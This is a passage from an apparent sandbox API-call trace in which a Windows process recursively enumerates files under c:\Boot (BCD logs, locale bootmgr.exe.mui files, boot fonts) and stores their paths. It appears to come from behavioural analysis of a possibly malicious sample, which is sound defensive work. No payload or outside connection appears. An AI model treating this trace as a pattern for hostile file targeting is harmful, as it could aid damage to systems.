lpString1="c:\\Boot\\BCD") returned="c:\\Boot\\BCD" [0031.510] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.510] lstrcmpW (lpString1="BCD.LOG", lpString2=".") returned 1 [0031.510] lstrcmpW (lpString1="BCD.LOG", lpString2="..") returned 1 [0031.510] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.510] lstrlenW (lpString="BCD.LOG") returned 7 [0031.510] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0031.510] lstrlenW (lpString="c:\\Boot\\BCD.LOG") returned 15 [0031.510] lstrcpyW (in: lpString1=0x1214f0, lpString2="c:\\Boot\\BCD.LOG" | out: lpString1="c:\\Boot\\BCD.LOG") returned="c:\\Boot\\BCD.LOG" [0031.510] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.510] lstrcmpW (lpString1="BCD.LOG1", lpString2=".") returned 1 [0031.510] lstrcmpW (lpString1="BCD.LOG1", lpString2="..") returned 1 [0031.510] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.510] lstrlenW (lpString="BCD.LOG1") returned 8 [0031.510] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0031.510] lstrlenW (lpString="c:\\Boot\\BCD.LOG1") returned 16 [0031.510] lstrcpyW (in: lpString1=0x1229c8, lpString2="c:\\Boot\\BCD.LOG1" | out: lpString1="c:\\Boot\\BCD.LOG1") returned="c:\\Boot\\BCD.LOG1" [0031.510] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.510] lstrcmpW (lpString1="BCD.LOG2", lpString2=".") returned 1 [0031.510] lstrcmpW (lpString1="BCD.LOG2", lpString2="..") returned 1 [0031.510] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.510] lstrlenW (lpString="BCD.LOG2") returned 8 [0031.510] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0031.510] lstrlenW (lpString="c:\\Boot\\BCD.LOG2") returned 16 [0031.510] lstrcpyW (in: lpString1=0x1229f8, lpString2="c:\\Boot\\BCD.LOG2" | out: lpString1="c:\\Boot\\BCD.LOG2") returned="c:\\Boot\\BCD.LOG2" [0031.511] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.511] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2=".") returned 1 [0031.511] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="..") returned 1 [0031.511] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.511] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0031.511] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0031.511] lstrlenW (lpString="c:\\Boot\\BOOTSTAT.DAT") returned 20 [0031.511] lstrcpyW (in: lpString1=0x122a28, lpString2="c:\\Boot\\BOOTSTAT.DAT" | out: lpString1="c:\\Boot\\BOOTSTAT.DAT") returned="c:\\Boot\\BOOTSTAT.DAT" [0031.511] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.511] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0031.511] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0031.511] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.511] lstrlenW (lpString="cs-CZ") returned 5 [0031.511] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="cs-CZ" | out: lpString1="c:\\Boot\\cs-CZ") returned="c:\\Boot\\cs-CZ" [0031.511] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ", lpString2="\\" | out: lpString1="c:\\Boot\\cs-CZ\\") returned="c:\\Boot\\cs-CZ\\" [0031.511] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0031.511] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="*" | out: lpString1="c:\\Boot\\cs-CZ\\*") returned="c:\\Boot\\cs-CZ\\*" [0031.511] FindFirstFileW (in: lpFileName="c:\\Boot\\cs-CZ\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.511] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.511] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.511] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.511] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.511] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.511] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.511] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.511] lstrlenW (lpString="c:\\Boot\\cs-CZ\\") returned 14 [0031.511] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.511] lstrcatW (in: lpString1="c:\\Boot\\cs-CZ\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0031.511] lstrlenW (lpString="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0031.511] lstrcpyW (in: lpString1=0x122a60, lpString2="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned="c:\\Boot\\cs-CZ\\bootmgr.exe.mui" [0031.511] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.511] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.511] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.511] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0031.511] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0031.511] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.511] lstrlenW (lpString="da-DK") returned 5 [0031.511] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="da-DK" | out: lpString1="c:\\Boot\\da-DK") returned="c:\\Boot\\da-DK" [0031.511] lstrcatW (in: lpString1="c:\\Boot\\da-DK", lpString2="\\" | out: lpString1="c:\\Boot\\da-DK\\") returned="c:\\Boot\\da-DK\\" [0031.511] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0031.512] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="c:\\Boot\\da-DK\\*") returned="c:\\Boot\\da-DK\\*" [0031.512] FindFirstFileW (in: lpFileName="c:\\Boot\\da-DK\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.512] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.512] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.512] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.512] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.512] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.512] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.512] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.512] lstrlenW (lpString="c:\\Boot\\da-DK\\") returned 14 [0031.512] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.512] lstrcatW (in: lpString1="c:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0031.512] lstrlenW (lpString="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0031.512] lstrcpyW (in: lpString1=0x122aa8, lpString2="c:\\Boot\\da-DK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\da-DK\\bootmgr.exe.mui") returned="c:\\Boot\\da-DK\\bootmgr.exe.mui" [0031.512] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.512] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.512] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.512] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0031.512] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0031.512] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.512] lstrlenW (lpString="de-DE") returned 5 [0031.512] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="de-DE" | out: lpString1="c:\\Boot\\de-DE") returned="c:\\Boot\\de-DE" [0031.512] lstrcatW (in: lpString1="c:\\Boot\\de-DE", lpString2="\\" | out: lpString1="c:\\Boot\\de-DE\\") returned="c:\\Boot\\de-DE\\" [0031.512] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0031.512] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="c:\\Boot\\de-DE\\*") returned="c:\\Boot\\de-DE\\*" [0031.512] FindFirstFileW (in: lpFileName="c:\\Boot\\de-DE\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.512] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.512] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.512] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.512] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.512] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.512] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.512] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.512] lstrlenW (lpString="c:\\Boot\\de-DE\\") returned 14 [0031.512] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.512] lstrcatW (in: lpString1="c:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0031.512] lstrlenW (lpString="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0031.512] lstrcpyW (in: lpString1=0x122af0, lpString2="c:\\Boot\\de-DE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\de-DE\\bootmgr.exe.mui") returned="c:\\Boot\\de-DE\\bootmgr.exe.mui" [0031.512] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.512] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.512] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.512] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0031.512] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0031.512] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.513] lstrlenW (lpString="el-GR") returned 5 [0031.513] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="el-GR" | out: lpString1="c:\\Boot\\el-GR") returned="c:\\Boot\\el-GR" [0031.513] lstrcatW (in: lpString1="c:\\Boot\\el-GR", lpString2="\\" | out: lpString1="c:\\Boot\\el-GR\\") returned="c:\\Boot\\el-GR\\" [0031.513] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0031.513] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="c:\\Boot\\el-GR\\*") returned="c:\\Boot\\el-GR\\*" [0031.513] FindFirstFileW (in: lpFileName="c:\\Boot\\el-GR\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.513] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.513] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.513] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.513] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.513] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.513] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.513] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.513] lstrlenW (lpString="c:\\Boot\\el-GR\\") returned 14 [0031.513] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.513] lstrcatW (in: lpString1="c:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0031.513] lstrlenW (lpString="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0031.513] lstrcpyW (in: lpString1=0x122b38, lpString2="c:\\Boot\\el-GR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\el-GR\\bootmgr.exe.mui") returned="c:\\Boot\\el-GR\\bootmgr.exe.mui" [0031.513] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.513] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.513] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.513] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0031.513] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0031.513] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.513] lstrlenW (lpString="en-US") returned 5 [0031.513] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="en-US" | out: lpString1="c:\\Boot\\en-US") returned="c:\\Boot\\en-US" [0031.513] lstrcatW (in: lpString1="c:\\Boot\\en-US", lpString2="\\" | out: lpString1="c:\\Boot\\en-US\\") returned="c:\\Boot\\en-US\\" [0031.513] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0031.513] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="*" | out: lpString1="c:\\Boot\\en-US\\*") returned="c:\\Boot\\en-US\\*" [0031.513] FindFirstFileW (in: lpFileName="c:\\Boot\\en-US\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.513] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.513] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.513] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.513] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.513] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.513] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.513] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.513] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0031.513] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.513] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0031.513] lstrlenW (lpString="c:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0031.513] lstrcpyW (in: lpString1=0x122b80, lpString2="c:\\Boot\\en-US\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\en-US\\bootmgr.exe.mui") returned="c:\\Boot\\en-US\\bootmgr.exe.mui" [0031.513] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.513] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0031.513] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0031.513] lstrlenW (lpString="c:\\Boot\\en-US\\") returned 14 [0031.514] lstrlenW (lpString="memtest.exe.mui") returned 15 [0031.514] lstrcatW (in: lpString1="c:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0031.514] lstrlenW (lpString="c:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0031.514] lstrcpyW (in: lpString1=0x122bc8, lpString2="c:\\Boot\\en-US\\memtest.exe.mui" | out: lpString1="c:\\Boot\\en-US\\memtest.exe.mui") returned="c:\\Boot\\en-US\\memtest.exe.mui" [0031.514] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.514] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.514] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.514] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0031.514] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0031.514] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.514] lstrlenW (lpString="es-ES") returned 5 [0031.514] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="es-ES" | out: lpString1="c:\\Boot\\es-ES") returned="c:\\Boot\\es-ES" [0031.514] lstrcatW (in: lpString1="c:\\Boot\\es-ES", lpString2="\\" | out: lpString1="c:\\Boot\\es-ES\\") returned="c:\\Boot\\es-ES\\" [0031.514] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0031.514] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="c:\\Boot\\es-ES\\*") returned="c:\\Boot\\es-ES\\*" [0031.514] FindFirstFileW (in: lpFileName="c:\\Boot\\es-ES\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.514] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.514] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.514] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.514] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.514] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.514] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.514] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.514] lstrlenW (lpString="c:\\Boot\\es-ES\\") returned 14 [0031.514] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.514] lstrcatW (in: lpString1="c:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0031.514] lstrlenW (lpString="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0031.514] lstrcpyW (in: lpString1=0x122c10, lpString2="c:\\Boot\\es-ES\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\es-ES\\bootmgr.exe.mui") returned="c:\\Boot\\es-ES\\bootmgr.exe.mui" [0031.514] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.514] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.514] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.514] lstrcmpW (lpString1="fi-FI", lpString2=".") returned 1 [0031.514] lstrcmpW (lpString1="fi-FI", lpString2="..") returned 1 [0031.514] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.514] lstrlenW (lpString="fi-FI") returned 5 [0031.514] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="fi-FI" | out: lpString1="c:\\Boot\\fi-FI") returned="c:\\Boot\\fi-FI" [0031.514] lstrcatW (in: lpString1="c:\\Boot\\fi-FI", lpString2="\\" | out: lpString1="c:\\Boot\\fi-FI\\") returned="c:\\Boot\\fi-FI\\" [0031.514] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0031.514] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="*" | out: lpString1="c:\\Boot\\fi-FI\\*") returned="c:\\Boot\\fi-FI\\*" [0031.514] FindFirstFileW (in: lpFileName="c:\\Boot\\fi-FI\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.514] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.514] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.514] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.515] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.515] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.515] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0031.515] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0031.515] lstrlenW (lpString="c:\\Boot\\fi-FI\\") returned 14 [0031.515] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0031.515] lstrcatW (in: lpString1="c:\\Boot\\fi-FI\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0031.515] lstrlenW (lpString="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0031.515] lstrcpyW (in: lpString1=0x122c58, lpString2="c:\\Boot\\fi-FI\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\fi-FI\\bootmgr.exe.mui") returned="c:\\Boot\\fi-FI\\bootmgr.exe.mui" [0031.515] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0 [0031.515] FindClose (in: hFindFile=0x775a70 | out: hFindFile=0x775a70) returned 1 [0031.515] FindNextFileW (in: hFindFile=0x775a30, lpFindFileData=0x3bf2f0 | out: lpFindFileData=0x3bf2f0) returned 1 [0031.515] lstrcmpW (lpString1="Fonts", lpString2=".") returned 1 [0031.515] lstrcmpW (lpString1="Fonts", lpString2="..") returned 1 [0031.515] lstrlenW (lpString="c:\\Boot\\") returned 8 [0031.515] lstrlenW (lpString="Fonts") returned 5 [0031.515] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="Fonts" | out: lpString1="c:\\Boot\\Fonts") returned="c:\\Boot\\Fonts" [0031.515] lstrcatW (in: lpString1="c:\\Boot\\Fonts", lpString2="\\" | out: lpString1="c:\\Boot\\Fonts\\") returned="c:\\Boot\\Fonts\\" [0031.515] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0031.515] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="*" | out: lpString1="c:\\Boot\\Fonts\\*") returned="c:\\Boot\\Fonts\\*" [0031.515] FindFirstFileW (in: lpFileName="c:\\Boot\\Fonts\\*", lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 0x775a70 [0031.515] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0031.515] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.515] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0031.515] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0031.515] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.515] lstrcmpW (lpString1="chs_boot.ttf", lpString2=".") returned 1 [0031.515] lstrcmpW (lpString1="chs_boot.ttf", lpString2="..") returned 1 [0031.515] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0031.515] lstrlenW (lpString="chs_boot.ttf") returned 12 [0031.515] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0031.515] lstrlenW (lpString="c:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0031.515] lstrcpyW (in: lpString1=0x122ca0, lpString2="c:\\Boot\\Fonts\\chs_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\chs_boot.ttf") returned="c:\\Boot\\Fonts\\chs_boot.ttf" [0031.515] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.515] lstrcmpW (lpString1="cht_boot.ttf", lpString2=".") returned 1 [0031.515] lstrcmpW (lpString1="cht_boot.ttf", lpString2="..") returned 1 [0031.515] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0031.515] lstrlenW (lpString="cht_boot.ttf") returned 12 [0031.515] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0031.515] lstrlenW (lpString="c:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0031.515] lstrcpyW (in: lpString1=0x122ce0, lpString2="c:\\Boot\\Fonts\\cht_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\cht_boot.ttf") returned="c:\\Boot\\Fonts\\cht_boot.ttf" [0031.515] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.515] lstrcmpW (lpString1="jpn_boot.ttf", lpString2=".") returned 1 [0031.515] lstrcmpW (lpString1="jpn_boot.ttf", lpString2="..") returned 1 [0031.515] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0031.515] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0031.515] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0031.515] lstrlenW (lpString="c:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0031.516] lstrcpyW (in: lpString1=0x122d20, lpString2="c:\\Boot\\Fonts\\jpn_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\jpn_boot.ttf") returned="c:\\Boot\\Fonts\\jpn_boot.ttf" [0031.516] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.516] lstrcmpW (lpString1="kor_boot.ttf", lpString2=".") returned 1 [0031.516] lstrcmpW (lpString1="kor_boot.ttf", lpString2="..") returned 1 [0031.516] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0031.516] lstrlenW (lpString="kor_boot.ttf") returned 12 [0031.516] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0031.516] lstrlenW (lpString="c:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0031.516] lstrcpyW (in: lpString1=0x122d60, lpString2="c:\\Boot\\Fonts\\kor_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\kor_boot.ttf") returned="c:\\Boot\\Fonts\\kor_boot.ttf" [0031.516] FindNextFileW (in: hFindFile=0x775a70, lpFindFileData=0x3bf034 | out: lpFindFileData=0x3bf034) returned 1 [0031.516] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2=".") returned 1 [0031.516] lstrcmpW (lpString1="wgl4_boot.ttf", lpString2="..") returned 1 [0031.516] lstrlenW (lpString="c:\\Boot\\Fonts\\") returned 14 [0031.516] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0031.516] lstrcatW (in: lpString1="c:\\Boot\\Fonts\\", lpString2="wgl4_boot.ttf" | out: lpString1="c:\\Boot\\Fonts\\wgl4_boot.ttf") returned="c:\\Boot\\Fonts\\wgl4_boot.ttf" [0031.516] lstrlenW 